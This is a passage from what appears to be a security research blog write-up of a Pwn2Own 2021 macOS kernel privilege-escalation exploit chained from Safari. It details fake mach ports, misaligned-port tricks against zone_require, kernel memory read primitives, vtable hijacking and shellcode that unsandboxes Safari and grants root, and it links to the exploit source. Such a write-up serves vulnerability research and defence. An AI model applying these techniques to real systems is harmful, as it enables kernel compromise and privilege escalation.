    &lt;a href=&quot;/assets/img/p2o_2021_eop_leak_target_after.svg&quot; data-lightbox=&quot;p2o_2021_eop_leak_target_after.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_leak_target_after.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;We use this technique on two different leak targets:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The first will be a mach message body containing port descriptors.
    &lt;ul&gt;
      &lt;li&gt;When converted from their userspace representations, the numeric mach port in a port descriptor is replaced by a pointer to the corresponding &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_port&lt;/code&gt; object. We need to leak two immediately adjacent &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_port&lt;/code&gt; objects. The reasoning will be explained in the next section.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The second leak target will be the contents of an &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray&lt;/code&gt; containing a single &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; object.
    &lt;ul&gt;
      &lt;li&gt;Leaking the address of the &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; object will give us a location from which to get a text leak later on (the first field of the &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; is the vtable).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Using &lt;code class=&quot;highlighter-rouge&quot;&gt;OSObject&lt;/code&gt;’s for kernel exploitation has been done many times in &lt;a href=&quot;https://blog.siguza.net/v0rtex/&quot;&gt;the&lt;/a&gt; &lt;a href=&quot;https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html&quot;&gt;past&lt;/a&gt;. They can conveniently be allocated/freed by attaching the &lt;code class=&quot;highlighter-rouge&quot;&gt;OSObject&lt;/code&gt; to property names of an &lt;code class=&quot;highlighter-rouge&quot;&gt;IOSurface&lt;/code&gt; (something we are allowed to do from the WebContent sandbox). The objects are deserialized in the kernel from either an XML-like text format or a binary format.&lt;/p&gt;

&lt;p&gt;The binary format (deserialized by &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/libkern/c++/OSSerializeBinary.cpp.auto.html#:~:text=OSUnserializeBinary&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;OSUnserializeBinary&lt;/code&gt;&lt;/a&gt;) allows for more control over allocation sizes; e.g. we can allocate an &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray&lt;/code&gt; with capacity for 65536 elements, then place a single &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; within it, leaving the rest empty.&lt;/p&gt;

&lt;h2 id=&quot;circumventing-zone_id_require-with-a-misaligned-port&quot;&gt;Circumventing &lt;code class=&quot;highlighter-rouge&quot;&gt;zone_id_require&lt;/code&gt; with a Misaligned Port&lt;/h2&gt;

&lt;p&gt;It would be relatively simple to corrupt the contents of an &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray&lt;/code&gt; to contain a fake &lt;code class=&quot;highlighter-rouge&quot;&gt;OSObject&lt;/code&gt; pointer. Since these are C++ classes, we’d immediately hijack control flow through a fake vtable. However, we’ll need a text leak (kernel code address) at minimum to have somewhere to jump to. We also need to know where to point the fake &lt;code class=&quot;highlighter-rouge&quot;&gt;OSObject&lt;/code&gt; in the first place (which would then contain the fake vtable etc.); or in other words, the address of data we control.&lt;/p&gt;

&lt;p&gt;To obtain these leaks, we’ll need to get a bit creative with mach ports. We are going to craft a fake port with the goal of obtaining a semi-arbitrary read. The biggest challenge with creating a fake port is bypassing various &lt;code class=&quot;highlighter-rouge&quot;&gt;zone_require&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;zone_id_require&lt;/code&gt; calls. This Project Zero &lt;a href=&quot;https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html&quot;&gt;post&lt;/a&gt; explains it well:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;zone_require&lt;/code&gt; is a software mitigation introduced in iOS 13 that adds checks that certain pointers are allocated from the expected zalloc zones before using them. The most common &lt;code class=&quot;highlighter-rouge&quot;&gt;zone_require&lt;/code&gt; checks in the iOS kernelcache are of Mach ports; for example, every time an &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_port&lt;/code&gt; is locked, the &lt;code class=&quot;highlighter-rouge&quot;&gt;zone_require()&lt;/code&gt; function is called to check that the allocation containing the Mach port resides in the &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc.ports&lt;/code&gt; zone (and not, for example, an &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; buffer allocated with &lt;code class=&quot;highlighter-rouge&quot;&gt;kalloc()&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To deal with this, we can leverage the fact that &lt;code class=&quot;highlighter-rouge&quot;&gt;zone_require&lt;/code&gt; doesn’t care about proper alignment, only that the pointer lies somewhere within the appropriate zone. We’ll use the two adjacent ports we leaked earlier, and craft a fake &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_port&lt;/code&gt; misaligned in between the two.&lt;/p&gt;

&lt;p&gt;To introduce this fake port into our ipc space, we’ll again corrupt a mach message body. Instead of corrupting the in-flight message body’s &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_size&lt;/code&gt;, we perform several writes to turn it into a complex message body containing a port descriptor with a send right to our fake port. If we can survive receiving this message, a new send right to the fake port will be added to our ipc space.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;em&gt;Another side note: we are unsure if it’s possible to apply this technique to non-x86 platforms, as there is some signature validation code that is essentially nopped out on x86. After copying in a mach message, the kernel calculates a signature of the message body and all descriptors with &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_kmsg.c.auto.html#:~:text=ikm_sign%28&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_sign&lt;/code&gt;&lt;/a&gt;. When copying out the message, it re-calculates the signature and checks for a match, otherwise it panics.&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;em&gt;In theory, it should be possible to race performing the message body corruption while the kernel is still copying in descriptors before the signature is calculated. If it’s possible to make the race reliable by forcing the kernel to take a long time to copy in all the descriptors, or to somehow check if the race was lost and un-corrupt the message and retry, this technique might be made to work.&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When receiving a message, port descriptors are processed in &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_kmsg.c.auto.html#:~:text=ipc_kmsg_copyout_port_descriptor&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg_copyout_port_descriptor&lt;/code&gt;&lt;/a&gt;, although most of the logic is further down in &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_object.c.auto.html#:~:text=ipc_object_copyout%28&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_object_copyout&lt;/code&gt;&lt;/a&gt;. Carefully tracing how the fake ipc object is processed/checked gives us some constraints on how some of the fake port’s fields should look in order to survive.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;io_bits&lt;/code&gt;: int-sized bitfield at offset 0
    &lt;ul&gt;
      &lt;li&gt;high bit must be set, indicating the port is active [&lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_object.c.auto.html#:~:text=if%20%28!io_active%28object%29%29,-%7B%0A%09%09%09io_unlock&quot;&gt;1&lt;/a&gt;]&lt;/li&gt;
      &lt;li&gt;remaining high 15 bits indicate the object type, must be anything other than 1 (&lt;code class=&quot;highlighter-rouge&quot;&gt;IOT_PORT_SET&lt;/code&gt;). This value determines which zone is required by &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_object_validate&lt;/code&gt;, which we want to be the ports zone [&lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_object.c.auto.html#:~:text=if%20%28io_otype%28object%29%20!=%20IOT_PORT_SET%29&quot;&gt;2&lt;/a&gt;]&lt;/li&gt;
      &lt;li&gt;bit with mask &lt;code class=&quot;highlighter-rouge&quot;&gt;0x400&lt;/code&gt; must be 0, to indicate the kobject has no label (which would trigger some extra checks we’d rather avoid) [&lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_object.c.auto.html#:~:text=ip_label_check&quot;&gt;3&lt;/a&gt;]&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;io_lock_data&lt;/code&gt;: 8-byte value at offset 8. must be 0 to indicate no lock is held, otherwise a deadlock/panic will occur when trying to lock the port [&lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_object.c.auto.html#:~:text=io_lock%28object%29%3B,-if%20%28!io_active%28object&quot;&gt;4&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those are the only requirements to safely receive a send right to the fake port. Some semi-controlled bits at offset 0, and a zero at offset 8.&lt;/p&gt;

&lt;p&gt;For the adjacent ports we leaked before, call the first one &lt;code class=&quot;highlighter-rouge&quot;&gt;A&lt;/code&gt; and the second &lt;code class=&quot;highlighter-rouge&quot;&gt;B&lt;/code&gt;. Our fake port will reside at &lt;code class=&quot;highlighter-rouge&quot;&gt;A+0x48&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_fake_port_misalignment.svg&quot; data-lightbox=&quot;p2o_2021_eop_fake_port_misalignment.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_fake_port_misalignment.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;io_bits&lt;/code&gt; overlaps &lt;code class=&quot;highlighter-rouge&quot;&gt;A-&amp;gt;seqno&lt;/code&gt;, a sequence number. This value is normally incremented every time a message is sent to the port, but it can also be manually set with &lt;a href=&quot;https://developer.apple.com/documentation/kernel/1578744-mach_port_set_seqno/&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mach_port_set_seqno&lt;/code&gt;&lt;/a&gt; (this call is no longer allowed by the sandbox). It is therefore a fully controllable 32-bit value, allowing us to satisfy the constraints on &lt;code class=&quot;highlighter-rouge&quot;&gt;io_bits&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;io_lock_data&lt;/code&gt; overlaps port &lt;code class=&quot;highlighter-rouge&quot;&gt;A&lt;/code&gt;’s &lt;code class=&quot;highlighter-rouge&quot;&gt;qcontext&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;qlimit&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;msgcount&lt;/code&gt;. &lt;code class=&quot;highlighter-rouge&quot;&gt;qcontext&lt;/code&gt; is normally 0. &lt;code class=&quot;highlighter-rouge&quot;&gt;msgcount&lt;/code&gt; is the number of messages currently on the receive queue, which will be 0 if there are none. &lt;code class=&quot;highlighter-rouge&quot;&gt;qlimit&lt;/code&gt; is an upper limit on how many messages can be placed on the receive queue. It defaults to 5, however can be set to 0 with the &lt;code class=&quot;highlighter-rouge&quot;&gt;MACH_PORT_LIMITS_INFO&lt;/code&gt; flavor of &lt;a href=&quot;https://developer.apple.com/documentation/kernel/1578964-mach_port_set_attributes/&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mach_port_set_attributes&lt;/code&gt;&lt;/a&gt;. Therefore all 3 fields can be 0, satisfying the &lt;code class=&quot;highlighter-rouge&quot;&gt;io_lock_data&lt;/code&gt; constraint.&lt;/p&gt;

&lt;p&gt;There are likely other misalignments that would work. This one leads to an interesting situation…&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;ip_srights&lt;/code&gt; field keeps track of the number of send rights that exist for a port. Sending a mach message with a port descriptor containing a send right increments this field by one. Similarly, sending N port descriptors with send rights in the same message increments by N.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;ikmq_base&lt;/code&gt; field points to the &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg&lt;/code&gt; at the head of the receive queue. This structure contains many interesting &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_kmsg.h.auto.html#:~:text=struct%20ipc_kmsg&quot;&gt;fields&lt;/a&gt;, the one most relevant in this case will be &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header&lt;/code&gt;, a pointer to the message body.&lt;/p&gt;

&lt;p&gt;Since the fake port’s &lt;code class=&quot;highlighter-rouge&quot;&gt;ip_srights&lt;/code&gt; field overlaps &lt;code class=&quot;highlighter-rouge&quot;&gt;B-&amp;gt;ikmq_base&lt;/code&gt;, we can send port descriptors for the fake port to increment &lt;code class=&quot;highlighter-rouge&quot;&gt;B-&amp;gt;ikmq_base&lt;/code&gt;, and likewise receive those port descriptors to decrement/un-corrupt. This leads to the question of what &lt;code class=&quot;highlighter-rouge&quot;&gt;B-&amp;gt;ikmq_base&lt;/code&gt; can be incremented to point to, or in other words, what is normally located after an &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg&lt;/code&gt; struct.&lt;/p&gt;

&lt;p&gt;When sending a message, if the message body is small enough, the body is stored inline after the &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg&lt;/code&gt; structure, otherwise it is placed in a separate allocation (this logic is in &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_kmsg.c.auto.html#:~:text=max_expanded_size%20%3E%20IKM_SAVED_MSG_SIZE&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg_alloc&lt;/code&gt;&lt;/a&gt;). If the message sent to &lt;code class=&quot;highlighter-rouge&quot;&gt;B&lt;/code&gt; is such a message, incrementing &lt;code class=&quot;highlighter-rouge&quot;&gt;ikmq_base&lt;/code&gt; an appropriate number of times will point it directly into the inline body, which is fully controlled.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_kmsg_increment.svg&quot; data-lightbox=&quot;p2o_2021_eop_kmsg_increment.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_kmsg_increment.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;We now have the ability to fully fake the &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg&lt;/code&gt; at the head of &lt;code class=&quot;highlighter-rouge&quot;&gt;B&lt;/code&gt;’s receive queue. Specifically, we will turn control of &lt;code class=&quot;highlighter-rouge&quot;&gt;B-&amp;gt;ikmq_base-&amp;gt;ikm_header&lt;/code&gt; into a constrained arbitrary read.&lt;/p&gt;

&lt;p&gt;The general idea is to repeat the following:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;send a small message to &lt;code class=&quot;highlighter-rouge&quot;&gt;B&lt;/code&gt; with the fake &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg&lt;/code&gt; contents as the body&lt;/li&gt;
  &lt;li&gt;to a separarte helper port, send N send rights to the fake port using port descriptors, incrementing &lt;code class=&quot;highlighter-rouge&quot;&gt;B-&amp;gt;ikmq_base&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;perform some non-destructive operation on &lt;code class=&quot;highlighter-rouge&quot;&gt;B&lt;/code&gt; to use the fake &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header&lt;/code&gt; for a constrained read&lt;/li&gt;
  &lt;li&gt;receive the port descriptors, decrementing &lt;code class=&quot;highlighter-rouge&quot;&gt;B-&amp;gt;ikmq_base&lt;/code&gt; back to normal&lt;/li&gt;
  &lt;li&gt;receive from &lt;code class=&quot;highlighter-rouge&quot;&gt;B&lt;/code&gt; to clear the queue, repeat as needed with a new fake &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;pseudo-arbitrary-kernel-memory-read&quot;&gt;Pseudo-arbitrary Kernel Memory Read&lt;/h2&gt;

&lt;p&gt;There are 2 methods we can use to leverage a fake &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header&lt;/code&gt; into a read primitive.&lt;/p&gt;

&lt;h4 id=&quot;method-1&quot;&gt;Method 1&lt;/h4&gt;

&lt;p&gt;The first uses &lt;code class=&quot;highlighter-rouge&quot;&gt;MACH_RCV_LARGE&lt;/code&gt;, a flag that can be specified when receiving a mach message. If this flag is set and the message to be received is larger than the userspace receive buffer size, the kernel leaves the message queued, and writes out to userspace how much space is required.&lt;/p&gt;

&lt;p&gt;The required size is calculated by &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/ipc/ipc_kmsg.c.auto.html#:~:text=ipc_kmsg_copyout_size%28&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg_copyout_size&lt;/code&gt;&lt;/a&gt;. The calculation is necessary because port names (32-bit) are converted into their corresponding pointers (64-bit) when copied in from userspace, so there is a size difference from the perspective of the kernel and that of userspace. The required size is calculated as &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header-&amp;gt;msgh_size - 8&lt;/code&gt;, then if the message is complex, additional subtractions occur for each port descriptor.&lt;/p&gt;

&lt;p&gt;For a text (code address) leak, we would like to read out the vtable of the &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; object we leaked a data pointer to previously. We’ll point &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header&lt;/code&gt; at &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData - 4&lt;/code&gt;, then attempt to receive the message with a very small receive buffer, and the &lt;code class=&quot;highlighter-rouge&quot;&gt;MACH_RCV_LARGE&lt;/code&gt; option set.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_osdata_leak.svg&quot; data-lightbox=&quot;p2o_2021_eop_osdata_leak.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_osdata_leak.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_size&lt;/code&gt; overlaps with the low 4 bytes of the vtable. Kernel ASLR doesn’t provide enough entropy to randomize the high 32 bits of the kernel slide, so we effectively have our text leak.&lt;/p&gt;

&lt;p&gt;One constraint here is that the memory before &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; must be mapped, since &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg_copyout_size&lt;/code&gt; will check if the message is complex using &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_bits&lt;/code&gt;. The safe thing to do would be to repeat the leak procedure until a non-page-aligned &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; is found, ensuring &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData-4&lt;/code&gt; will be mapped.&lt;/p&gt;

&lt;p&gt;The second potential issue is we don’t know if &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_bits&lt;/code&gt; will have the complex bit set. If it doesn’t, all is well. If it does, &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_descriptor_count&lt;/code&gt; (the number of descriptors in the complex message) will overlap with the &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; capacity. By allocating the &lt;code class=&quot;highlighter-rouge&quot;&gt;OSData&lt;/code&gt; with a size of 0, the capacity will likewise be 0. This will ensure no additional subtractions are performed on &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_size&lt;/code&gt; for port descriptors.&lt;/p&gt;

&lt;h4 id=&quot;method-2&quot;&gt;Method 2&lt;/h4&gt;

&lt;p&gt;The second constrained read method uses &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_port_peek&lt;/code&gt;. Previously, we used &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_port_peek&lt;/code&gt; with a corrupted &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_size&lt;/code&gt; to read an out-of-bounds trailer. This time, we control &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header&lt;/code&gt; instead. The trailer is read from &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header + ikm_header-&amp;gt;msgh_size&lt;/code&gt;, so we need to ensure there is an appropriate fake &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_size&lt;/code&gt;. The simplest thing is to find a zero in memory shortly before the value we wish to read, so the trailer will be copied out directly from the fake &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header&lt;/code&gt; without performing an addition.&lt;/p&gt;

&lt;p&gt;We’ll use this technique to leak the address of controlled data. We first create a helper port and leak its address with the old &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_port_peek&lt;/code&gt; technique used earlier. We then send a large mach message to this port, which will allocate the body at the end of virtual memory, at a constant offset from the resource buffer &lt;code class=&quot;highlighter-rouge&quot;&gt;dbuf0&lt;/code&gt;. Using the pseudo-arbitrary &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_port_peek&lt;/code&gt; read, we can then traverse the &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_port&lt;/code&gt; object to find the message body pointer. Subtracting the proper offset gives us the address of &lt;code class=&quot;highlighter-rouge&quot;&gt;dbuf0&lt;/code&gt;. This memory is shared between kernel and userspace, so we have a kernel address containing controlled data.&lt;/p&gt;

&lt;h2 id=&quot;arbitrary-function-call-primitive&quot;&gt;Arbitrary Function Call Primitive&lt;/h2&gt;

&lt;p&gt;Armed with a text leak and the address of the shared memory resource buffer, we can proceed to hijack control flow. We allocate a large &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray&lt;/code&gt; and corrupt an entry to point at the resource buffer.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_osarray_corruption.svg&quot; data-lightbox=&quot;p2o_2021_eop_osarray_corruption.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_osarray_corruption.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;This gives us control of a fake C++ object, i.e. vtable control.&lt;/p&gt;

&lt;p&gt;To initiate a virtual call, we query the corrupted &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray&lt;/code&gt; from its associated &lt;code class=&quot;highlighter-rouge&quot;&gt;IOSurface&lt;/code&gt;. The code first copies the queried value prior to serializing it. In this case, the copy is performed by &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray::copyCollection&lt;/code&gt;, which calls &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/libkern/c++/OSArray.cpp.auto.html#:~:text=OSArray::initWithObjects&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray::initWithObjects&lt;/code&gt;&lt;/a&gt; to initialize a new array using the existing objects. This iterates over the backing store and retains each object (the first of which we’ve corrupted) through a virtual call to &lt;code class=&quot;highlighter-rouge&quot;&gt;taggedRetain&lt;/code&gt;. This gives us an arbitrary function call with a controlled &lt;code class=&quot;highlighter-rouge&quot;&gt;this&lt;/code&gt; argument.&lt;/p&gt;

&lt;p&gt;We direct this call to &lt;code class=&quot;highlighter-rouge&quot;&gt;OSSerializer::serialize&lt;/code&gt;:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;background-color: rgb(30, 30, 30); line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;div style=&quot;line-height: 19px; white-space: pre;&quot;&gt;&lt;div style=&quot;line-height: 19px;&quot;&gt;&lt;div style=&quot;line-height: 19px;&quot;&gt;&lt;div style=&quot;line-height: 19px;&quot;&gt;&lt;div style=&quot;line-height: 19px;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;OSSerializer&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;serialize&lt;/span&gt;(OSSerializer* &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;, OSSerialize* s) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;callback&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;target&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;ref&lt;/span&gt;, s);&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;We now have an arbitrary function call controlling the first two arguments. By directing this call back into &lt;code class=&quot;highlighter-rouge&quot;&gt;OSSerialize::serialize&lt;/code&gt;, we can utilize the &lt;code class=&quot;highlighter-rouge&quot;&gt;s&lt;/code&gt; argument to obtain an arbitrary function call with 3 controlled arguments. This method has been used &lt;a href=&quot;https://www.blackhat.com/docs/eu-17/materials/eu-17-Donenfeld-Rooten-Apples-Vulnerability-Heaven-In-The-IOS-Sandbox.pdf&quot;&gt;before&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Upon returning from the hijacked &lt;code class=&quot;highlighter-rouge&quot;&gt;taggedRetain&lt;/code&gt; call, we will be back in &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray::initWithObjects&lt;/code&gt;, which will abort the copy if a null entry is encountered in the array. We use this behavior to bail out cleanly.&lt;/p&gt;

&lt;p&gt;With this primitive, arbitrary read/write reduces to calling the &lt;code class=&quot;highlighter-rouge&quot;&gt;copyin&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;copyout&lt;/code&gt; functions.&lt;/p&gt;

&lt;h2 id=&quot;kernel-shellcode-execution&quot;&gt;Kernel Shellcode Execution&lt;/h2&gt;

&lt;p&gt;From here, getting arbitrary code execution as kernel is relatively simple.&lt;/p&gt;

&lt;p&gt;We allocate memory for the shellcode with &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/vm/vm_kern.c.auto.html#:~:text=kmem_alloc_external&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;kmem_alloc_external&lt;/code&gt;&lt;/a&gt; and copy it in with &lt;code class=&quot;highlighter-rouge&quot;&gt;copyin&lt;/code&gt;. There didn’t seem to be a convenient way to mark this memory rwx with only 3 controlled arguments, so instead we use &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/vm/vm_map_store.c.auto.html#:~:text=vm_map_store_lookup_entry&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;vm_map_store_lookup_entry&lt;/code&gt;&lt;/a&gt; to lookup the &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/vm/vm_map.h.auto.html#:~:text=vm_map_entry%20{&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;vm_map_entry_t&lt;/code&gt;&lt;/a&gt; associated with the shellcode memory, which contains the mapping’s permission bits. Overwriting these bits is sufficient to mark the entry rwx. Finally, we call the shellcode itself.&lt;/p&gt;

&lt;p&gt;The shellcode overwrites the kernel version string (viewable with &lt;code class=&quot;highlighter-rouge&quot;&gt;uname -a&lt;/code&gt;), unsandboxes the current process (Apple Safari), and gives it root credentials. If interested, see the exploit &lt;a href=&quot;https://github.com/ret2/Pwn2Own-2021-Safari/blob/main/eop/kernel_sc.c&quot;&gt;source&lt;/a&gt; for how this is done.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

